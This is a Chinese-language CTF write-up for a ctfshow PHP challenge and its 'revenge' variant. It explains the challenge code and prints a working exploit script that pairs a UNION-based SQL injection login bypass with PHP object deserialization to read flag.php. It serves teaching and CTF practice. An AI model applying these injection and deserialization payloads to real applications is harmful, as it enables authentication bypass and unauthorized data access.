我是f5

Y4师傅已经到达出题的阶段了,而我还在苦苦思索题目,这个比赛让我深深感受到我是f5

分析

拿到题目,给了一段很长的源码,首先分析一下这段源码的概要。

  • 连接数据库,创建一个表,插入用户名、密码、职权。
  • 登录方法,传入username和password,但查询是使用password的md5值,导致输入正确密码也无法登录,此处考虑SQL注入登录。登入成功后,设置变量Happy为TRUE,将role作为参数传入loadData方法并调用。
  • loadData方法对传入参数经行判断后经行反序列化,返回实体;析构函数将传入参数method作为方法名,args作为参数经行函数回调。
  • Happy类包含flag.php,直接访问flag.php显示无权访问。

bypass

清楚流程后,猜测flag.php无法正常访问原因为变量Happy为flase,登陆成功后会将Happy变为TRUE,继而再通过反序列化Happy类来返回真正的flag.php。

  1. 反序列化类对大小写不敏感,通过大小写绕过preg_match("/ctfshow/"
  2. 参数method为回调函数的方法,method=login;参数args为方法参数,类型为数组,args=arry('username','password')
  3. 若是登录成功,则要对role经行反序列化,但数据库中已有的role不可控,所以通过sql注入临时变量来控制role的内容。
    $args=array("' union select * from (select 's' as 'username','p' as 'password','".$role."' as 'role') as t--+","CTFSHOW");
    //as t不可丢,否则报错
  4. loadData对传入参数的前两位经行判断,可以通过数组绕过
    $test=new Happy();
    $role=serialize(array($test));

最终脚本

<?php
class Ctfshow{
    public $method;
    public $args;

    function __construct($method, $args) {
        $this->method = $method;
        $this->args = $args;
    }

}

class Happy{
}

$test=new Happy();
$role=serialize(array($test));

$p=array("' union select * from (select 's' as 'username','p' as 'password','".$role."' as 'role') as t--+","CTFSHOW");
$a=new Ctfshow('login',$p);
echo serialize($a);

?>

eazy-unserialize-revenge

题目唯一不同的是Happy类中file变量的值改为了不存在的php,解决方法就是在构造反序列化时传入变量$file=flag.php

class Happy{
    public $file='flag.php';
}

其他同上


"孓然一身 , 了无牵挂"